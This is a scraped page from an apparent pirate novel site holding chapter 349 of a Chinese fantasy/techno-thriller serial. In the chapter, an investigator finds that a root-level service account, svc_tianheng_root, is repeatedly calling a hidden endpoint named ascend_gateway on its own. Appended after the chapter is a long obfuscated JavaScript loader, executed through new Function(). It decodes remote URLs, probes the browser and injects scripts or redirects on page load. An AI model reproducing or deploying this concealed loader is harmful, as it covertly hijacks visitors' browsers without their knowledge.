首页
第349章 请不要把根权限解
返回
关灯 护眼:关 字号:小

第349章 请不要把根权限解释成道统根脉

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第349章请不要把根权限解释成道统根脉(第1/2页)
    控制室的空调嗡鸣声像一根绷紧的弦,从未断过。赵星盯着屏幕,指尖在桌沿敲了两下,指节叩击桌面的声音被嗡鸣吞没。
    “svc,service的缩写。”他说。
    执事站在侧后方,袍袖垂着,手指藏在布料里,像握着一件不愿示人的东西。沉默持续了三秒——像一杯水慢慢倒满,水面刚好停在杯沿,没有溢出来。
    “原来如此。”执事的声音很轻,带着某种释然的叹息,像终于解开了一道缠绕多年的结,“祖师真名的原始形态,果然是服务众生之意。”
    赵星的手停在桌沿,指尖悬在桌面上一寸的位置。
    “什么?”
    “svc——”执事伸出手,指向屏幕,指尖几乎要碰到发光的面板,“service,服务。天衡宗立派以来,祖师常言修道即渡人,渡人即服务。这个名字不是外邦符号,是宗门道统的精义。”
    赵星转头看他。执事的表情认真得无可挑剔——不是装傻,是真的在对接。他的眼睛里没有一丝狡黠,只有一种虔诚的笃定,像信徒在经文里找到了预言。
    “道友,”赵星说,“service是系统服务的服务,不是渡人救世的那个服务。”
    “系统服务?”执事眉梢动了一下,像一片叶子被风吹起,“系统服务于何?”
    “服务于——”赵星顿住,吸了一口气,胸腔里的空气像被抽走了一半,“服务于系统本身。”
    执事的眼神亮了一瞬,像暗室里擦亮了一根火柴。“系统本身——天衡宗的传承体系本身。所以svc_tianheng_root,意思就是天衡宗道统的服务根脉。这更合理了。”
    值守弟子站在角落里,嘴唇嚅动了一下,像是在默念“服务根脉”四个字,然后膝盖微微弯了弯,像承受了某种无形的重量。
    赵星抬手按住太阳穴,指尖感受到皮肤下血管的跳动。
    “技术员,”他说,“权限树。”
    技术员的手指敲了几个键,指节在键盘上发出细碎的声响。屏幕上展开一棵树——不是真的树,是权限层级图,根节点在最上方,分支往下蔓延,像血管从心脏向外延伸。
    “这是账号的权限结构。”赵星走到屏幕前,指着最顶层的节点,指尖在玻璃面板上留下一个模糊的指纹,“这个叫root,是系统最高权限。不是道统根脉,是最高——最底层——最根本的权限等级。”
    执事凑近屏幕,眯着眼睛看了半天,瞳孔在屏幕的光线下收缩成两个黑点。
    “最高权限……”他重复了一遍,语气里没有恐惧,反而像松了一口气,肩膀微微下沉,“原来如此。宗门道统的最高根脉,自然只有祖师真名才能承载。”
    赵星的手指停在半空中,指尖微微发凉。
    “道友,”他说,“最高权限的意思是,这个账号能改系统里的任何东西——不是因为它尊贵,是因为它权限大。”
    “权限大——”执事重复,点了点头,下巴的弧度带着一种不容置疑的笃定,“自然,道统根脉,权限岂能不大。”
    赵星转过头看技术员。技术员的表情介于惊恐和绝望之间,嘴唇无声地动了动,像在说“我也没办法”,嘴角的肌肉抽搐了一下。
    “调出具体权限。”赵星说。
    技术员敲了个命令,指尖在回车键上顿了一下。屏幕刷新,权限列表展开,一行行字符像士兵列队。
    读、写、执行、修改、删除、授权、继承、跨层调用。
    最后一行缩在列表底部,字体比其他行小一号,像是刻意不想被人注意到,像一个人躲在人群后面。
    跨层调用。
    赵星的手指在那一行上停了一下,指尖的温度在屏幕上留下一团雾气。执事没注意到——他的目光停留在权限列表的顶部,嘴唇翕动,像是在默记,嘴唇的纹路在屏幕的光线下清晰可见。
    “道友,”执事抬起头,下巴的线条绷紧了一瞬,“这些权限——可否理解为祖师赐予宗门各堂的符令等级?”
    赵星闭上眼,数了三秒。眼皮下的黑暗里,他能听到自己的心跳。
    “技术员,”他说,“用最简单的方式解释。”
    技术员的手指悬在键盘上方,指节白得像纸,指甲边缘泛着青白色。他看了看执事,又看了看赵星,喉结滚了一下,像咽下一块石头。
    “这个账号……像一把总钥匙。”技术员的声音很小,像怕被什么人听到,“能开所有库房的门。”
    执事的眼睛亮了一下,瞳孔里映出屏幕的光。“总钥匙——那供奉在祖师殿吗?”
    控制室安静了。
    空调的嗡鸣填满了所有缝隙,像水渗进每一道裂缝。
    赵星转头看向使团记录官——记录官坐在角落里,手里的笔悬在纸上,笔尖在纸面上方颤抖,表情像是刚从水里捞出来,嘴唇发白。
    “道友,”赵星说,“把这句话从会议纪要里删掉。”
    记录官愣了一下,低头在纸上划了一笔,笔尖划破纸面的声音在安静中格外清晰。
    执事的表情僵了一瞬,嘴角的肌肉抽动了一下。“道友,总钥匙供奉在祖师殿是宗门规矩——”
    “这不是钥匙。”赵星打断他,声音像一把刀切进空气,“这是账号。账号不供奉,账号是用来登录的。”
    “登录——”
    “登录就是——用。”赵星的语气压得很平,像一块石板压在水面上,“像你用传音符,用完放回去,不用供起来。”
    执事的嘴唇动了一下,像是想反驳,又找不到词,嘴唇开合了两下,最终合上了。
    赵星转回屏幕。“展开权限树,把所有分支都打开。”
    技术员敲命令。屏幕上的树状图一层层展开,像一株植物的根系从土里被翻出来,根须在空气中颤抖。分支越来越多,颜色从绿色变成黄色,又从黄色变成橙色,像秋天的叶子在腐烂。
    赵星的视线跟着分支往下走,瞳孔在屏幕的光线下收缩。
    读权限——正常。
    写权限——正常。
    修改权限——正常。
    跨层调用——异常。调用目标字段被折叠了,只露出一小截字符,像一张纸从文件柜里露出一个角,像一个人只露出一只眼睛。
    赵星的手指点了点屏幕,指尖在玻璃上发出轻轻的叩击声。“这个,展开。”
    技术员的手指悬了一下,指节微微颤抖。他看了一眼执事,执事的表情没有变化,像一尊雕像。
    技术员敲了回车。
    折叠的分支弹开了一瞬——太快了,快到赵星只来得及看见几个字母,像一只鸟从眼前飞过。
    ascend_gateway。
    然后分支自动折叠回去,像是被什么东西拉了一下,像一根橡皮筋弹回原位。
    赵星的手指停在屏幕上,指尖的触感冰凉。“刚才那个——”
    “道友,”执事的声音从侧后方传来,像一阵冷风,“那是什么?”
    赵星没回答。他盯着屏幕,手指在桌沿敲了一下,指节叩击的声音在安静中格外清脆。
    “技术员,”他说,“把刚才的分支再展开一次。”
    技术员敲命令。分支没有反应。
    他又敲了一次。
    还是没反应。
    “权限不够了。”技术员的声音很小,像从很远的地方传来,“那个分支……刚才展开后,自动收回了。我试了三次,系统拒绝访问。”
    赵星盯着屏幕上那串折叠的字段,瞳孔里映出屏幕的光。空调的嗡鸣声在耳朵里转了一圈,又转了一圈,像一只苍蝇在耳膜上爬。
    (本章未完,请点击下一页继续阅读)第349章请不要把根权限解释成道统根脉(第2/2页)
    “记录一下,”他说,“svc_tianheng_root有一个外部调用分支,名称包含ascend_gateway。访问权限异常,系统自动隐藏。”
    记录官的笔尖在纸上停了一下,然后快速写了几行字,笔尖在纸面上发出沙沙的声音。
    执事的表情变了——不是愤怒,是一种赵星没见过的表情。像是想起了什么,又不太确定,像一个人在梦里抓住了一个模糊的影子。
    “道友,”执事的声音迟疑了一下,像踩在薄冰上,“ascend——”
    “怎么了?”
    执事的嘴唇动了动,嘴唇的纹路在灯光下清晰可见。“宗门典籍里,有一个旧称。飞升台。”
    赵星的手指停在桌沿,指尖的温度在桌面上留下一小块暖意。
    “飞升台?”
    “上古时期,天衡宗祖师曾设一座飞升台,用于接引得道之人登天。”执事的声音越来越轻,像在说一个不该被提起的秘密,“后来宗门重建,飞升台被废除,典籍里只留下这个名字。”
    赵星看着他,没有说话。空调的嗡鸣声在耳朵里转了一圈。
    “道友,”执事抬起头,瞳孔里映出屏幕的光,“那个账号——svc_tianheng_root——它访问了飞升台?”
    赵星转回屏幕,盯着那串折叠的字段,指尖在桌沿敲了一下。
    “不是访问。”他说,“是调用。”
    “调用——”
    “像你用传音符找人。不是去看传音符,是用传音符去联系另一个人。”
    执事的瞳孔缩了一下,像针尖刺了一下。
    “联系谁?”
    赵星没有回答。
    他盯着屏幕,手指在桌沿敲了两下,指节叩击的声音在安静中回荡。空调的嗡鸣声在耳朵里转了一圈,又转了一圈,像某种活物在墙壁里呼吸。
    “技术员,”他说,“导出日志。”
    技术员的手指开始敲键盘,指节在键盘上跳动,发出细碎的声响。屏幕上的进度条开始推进——百分之十,百分之二十,百分之三十,像一只蜗牛在屏幕上爬。
    赵星转回身,看着执事。执事的表情僵了一下,嘴角的肌肉微微抽搐。
    “道友,”他说,“关于这个账号的身份——”
    执事的表情僵了一下。“道友,我——”
    “它不是祖师真名。”赵星说,声音像一把刀切进空气,“不是道统根脉,不是祖师转世,不是任何宗门概念。它是一个服务账号,一个系统账号,一个被礼法兼容层翻译成合法名称的技术账号。”
    执事的嘴角抽了一下,像被针扎了一下。
    赵星继续说:“它的权限高得异常。它有一个外部调用分支,名称是ascend_gateway。它在我到达之前就已经存在,并且一直在运行。”
    执事的嘴唇动了一下,没有说话,嘴唇的纹路在灯光下清晰可见。
    “你早就知道。”赵星说。
    执事的瞳孔缩了一下,像针尖刺了一下。
    “道友——”
    “你听见‘最高权限’的时候,没有恐惧,反而松了一口气。”赵星盯着他的眼睛,瞳孔里映出执事的脸,“你知道这个账号有特殊地位。你知道它不是寻常的祖师名讳。”
    执事的喉结滚了一下,像咽下一块石头。
    “道友,”他的声音很轻,像从很远的地方传来,“宗门道统——不能没有根脉。”
    赵星看着他,没有说话。
    空调的嗡鸣声在房间里回荡,像某种活物在墙壁里呼吸。
    “你让我解释这个账号,”赵星说,“不是为了弄清楚它是什么。是为了让我帮你说服其他人——它是合法的,是宗门传承的一部分。”
    执事的嘴唇动了一下,没有反驳,嘴唇合上了。
    “道友,”赵星说,“这个账号是联邦协议的一部分。它本来应该被删除,但因为礼法兼容层的翻译,被保留了下来。它不是宗门道统,它是系统漏洞。”
    执事的表情僵住了,像一尊雕像突然凝固。
    “漏洞——”
    “漏洞。”赵星重复了一遍,声音像一把刀切进空气,“一个拥有最高权限、能调用外部端点的系统漏洞。”
    进度条走到了百分之九十九。
    技术员的手指悬在键盘上方,指节白得像纸,指甲边缘泛着青白色。
    屏幕刷新。
    一行新日志跳了出来,像一只猫突然出现在桌子上。
    时间戳——当前时间。
    账号——svc_tianheng_root。
    操作——调用。
    目标——ascend_gateway。
    技术员的手指没有动。
    没有人碰键盘。
    赵星盯着屏幕,手指停在桌沿,指尖的温度在桌面上消失。空调的嗡鸣声在房间里回荡,像某种活物在墙壁里呼吸,节奏越来越快。
    “技术员,”赵星的声音很轻,像怕惊动什么东西,“你碰键盘了吗?”
    技术员摇头。他的手指还悬在键盘上方,指节白得像纸,微微颤抖。
    “没有人操作。”他说。
    执事从侧后方跨了一步,袍角带起一阵风,空气里有一股淡淡的檀香味。他盯着屏幕,瞳孔缩了一下,又松开,像一只猫的瞳孔在光线变化中调整。
    “道友,”他的声音很轻,像在说一个不该被提起的秘密,“飞升台——”
    赵星没有回答。
    他盯着屏幕上的时间戳。控制室本地时间——当前。
    日志时间戳——比控制室本地时间快了三秒。
    三秒。
    像有一只手,从另一个时间线上伸过来,点了一下鼠标。
    赵星的手指在桌沿敲了一下,指节叩击的声音在安静中格外清脆。
    “技术员,”他说,“查ascend_gateway的完整调用记录。”
    技术员的手指开始敲键盘,指节在键盘上跳动,发出细碎的声响。屏幕刷新,一个全新的日志窗口弹了出来,像一扇门突然打开。
    第一行——三日前,与账号创建时间相同。
    第二行——两日前,辰时。
    第三行——两日前,午时。
    第四行——昨日,申时。
    第五行——今日,当前时间。
    “五次。”技术员的声音很小,像从很远的地方传来,“这个账号创建以来,调用过五次。”
    赵星盯着屏幕。
    空调的嗡鸣声在耳朵里转了一圈,又转了一圈,像某种活物在墙壁里呼吸,节奏越来越快。
    “记录官,”他说,“记下来——svc_tianheng_root,在无人操作的情况下,于当前时间调用ascend_gateway。调用频率:五次。时间跨度:三日。”
    记录官的笔尖在纸上快速移动,笔尖在纸面上发出沙沙的声音。
    执事的嘴唇动了动,像是想说什么,又咽了回去,喉结滚了一下。
    赵星转回屏幕,盯着那行最新日志。
    三秒的差距。
    五次调用。
    无人操作。
    飞升台。
    空调的嗡鸣声没有断过。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();